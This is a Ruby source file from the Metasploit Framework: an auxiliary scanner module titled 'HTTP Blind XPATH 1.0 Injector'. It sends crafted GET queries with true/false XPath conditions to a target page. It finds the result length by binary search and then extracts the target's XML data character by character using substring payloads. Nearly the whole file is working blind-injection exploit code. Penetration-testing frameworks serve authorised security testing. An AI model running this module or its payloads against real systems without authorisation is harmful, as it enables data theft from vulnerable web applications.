metasploit-framework/modules/auxiliary/scanner/http/xpath.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'rex/proto/http'
require 'msf/core'


class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::WMAPScanDir
	include Msf::Auxiliary::Scanner

	def initialize(info = {})
		super(update_info(info,
			'Name'   		=> 'HTTP Blind XPATH 1.0 Injector',
			'Description'	=> %q{
				This module exploits blind XPATH 1.0 injections over HTTP GET requests.
			},
			'Author' 		=> [ 'et [at] metasploit . com' ],
			'License'		=> BSD_LICENSE,
			'Version'		=> '$Revision$'))

		register_options(
			[
				OptString.new('METHOD', [ true, "HTTP Method",'GET']),
				OptString.new('PATH', [ true,  "The URI Path", '/vulnerable.asp']),
				OptString.new('PRE_QUERY', [ true,  "Pre-injection HTTP URI Query", 'p1=v1&p2=v2&p3=v3']),
				OptString.new('POST_QUERY', [ false,  "Post-injection HTTP URI Query", ' ']),
				OptString.new('ERROR_MSG', [ true, "False error message", 'Server Error']),
				OptString.new('XCOMMAND', [ false, "XPath command to execute (Default for all XML doc)", '//*']),
				OptInt.new('MAX_LEN', [ true, "Maximum string length", 20000]),
				OptBool.new('MAX_OVER', [ true, "Dont detect result size. Use MAX_LEN instead", true ]),
				OptBool.new('CHKINJ', [ false, "Check XPath injection with error message", false ]),
				OptBool.new('DEBUG_INJ', [ false, "Debug XPath injection", true ])
			], self.class)

	end

	def wmap_enabled
		false
	end

	def run_host(ip)

		#
		# Max string len
		#
		maxstr = datastore['MAX_LEN']

		conn = true

		rnum=rand(10000)

		# Weird crap only lower case 'and' operand works
		truecond = "'%20and%20'#{rnum}'='#{rnum}"
		falsecond = "'%20and%20'#{rnum}'='#{rnum+1}"

		hmeth = datastore['METHOD']
		tpath = datastore['PATH']
		prequery = datastore['PRE_QUERY']
		postquery = datastore['POST_QUERY']
		emesg = datastore['ERROR_MSG']
		xcomm = datastore['XCOMMAND']



		print_status("Initializing injection.")

		if datastore['CHKINJ']

			#
			# Detect error msg in true condition
			#

			begin
				res = send_request_cgi({
					'uri'  		=>  tpath,
					'query'     =>  "#{prequery}#{falsecond}#{postquery}",
					'method'   	=>	hmeth
				}, 20)

				return if not res

				if res.body.index(emesg)
					print_status("False statement check done.")
				else
					print_error("Error message not included in false condition.")
					return
				end
			rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
				conn = false
			rescue ::Timeout::Error, ::Errno::EPIPE
			end

			#
			# Detect error msg in false condition
			#

			begin
				res = send_request_cgi({
					'uri'  		=>  tpath,
					'query'     =>  "#{prequery}#{truecond}#{postquery}",
					'method'   	=>	hmeth
				}, 20)

				return if not res

				if res.body.index(emesg)
					print_error("Error message included in true condition.")
					return
				else
					print_status("True statement check done.")
				end
			rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
				conn = false
			rescue ::Timeout::Error, ::Errno::EPIPE
			end

			return if not conn
		end

		#
		# Find length of command result
		#

		low = 1
		high = maxstr

		if datastore['MAX_OVER']
			print_status("Max. limit set to #{maxstr} characters")
			reslen = maxstr
		else
			lenfound = false

			while !lenfound do
				middle = (low + high) / 2;

				if datastore['DEBUG_INJ']
					print_status("Lenght Low: #{low} High: #{high} Med: #{middle}")
				end

				injlen = "'%20and%20string-length(#{xcomm})=#{middle}%20and%20'#{rnum}'='#{rnum}"

				begin
					res = send_request_cgi({
						'uri'  		=>  tpath,
						'query'     =>  "#{prequery}#{injlen}#{postquery}",
						'method'   	=>	hmeth
					}, 20)

					return if not res

					if res.body.index(emesg)
						lenf = false
					else
						lenfound = true
						lenf = true
						lens = middle
					end
				rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
					conn = false
				rescue ::Timeout::Error, ::Errno::EPIPE
				end

				if !lenf
					injlen = "'%20and%20string-length(#{xcomm})<#{middle}%20and%20'#{rnum}'='#{rnum}"

					begin
						res = send_request_cgi({
							'uri'  		=>  tpath,
							'query'     =>  "#{prequery}#{injlen}#{postquery}",
							'method'   	=>	hmeth
						}, 20)

						return if not res

						if res.body.index(emesg)
							low = middle
						else
							high = middle
						end
					rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
						conn = false
					rescue ::Timeout::Error, ::Errno::EPIPE
					end
				end
			end

			print_status("Result size: #{lens}")
			reslen = lens.to_i
		end

		#
		# Execute xpath command and guess response
		#

		namestr = []
		numchr = 0

		for i in (1..reslen)
			#
			# Only alpha range
			#
			for k in (32..126)
				j = "%"+("%x" % k)

				# For Xpath 2.0 Blind search may be performed using a fast binary search using the
				# string-to-codepoints(string) function
				# injlen = "'%20and%20string-to-codepoints(substring(#{xcomm},#{i},1))<#{k}%20and%20'#{rnum}'='#{rnum}"

				# Basic Blind XPath 1.0 Injection
				injlen = "'%20and%20substring(#{xcomm},#{i},1)=\"#{j}\"%20and%20'#{rnum}'='#{rnum}"

				begin
					res = send_request_cgi({
						'uri'  		=>  tpath,
						'query'     =>  "#{prequery}#{injlen}#{postquery}",
						'method'   	=>	hmeth
					}, 20)

					return if not res

					if res.body.index(emesg)
						# neeeeext
					else
						if(numchr >= maxstr)
							# maximum limit reached
							print_status("#{xcomm}: #{namestr}")
							print_status("Maximum string length reached.")
							return
						end

						numchr+=1

						comperc = (numchr * 100) / maxstr

						namestr << "#{k.chr}"
						if datastore['DEBUG_INJ']
							print_status("#{comperc}%: '#{k.chr}' #{namestr}")
						end
						break
					end
				rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
					conn = false
				rescue ::Timeout::Error, ::Errno::EPIPE
				end
			end
		end

		print_status("#{xcomm}: #{namestr}")
		print_status("Done.")
	end
end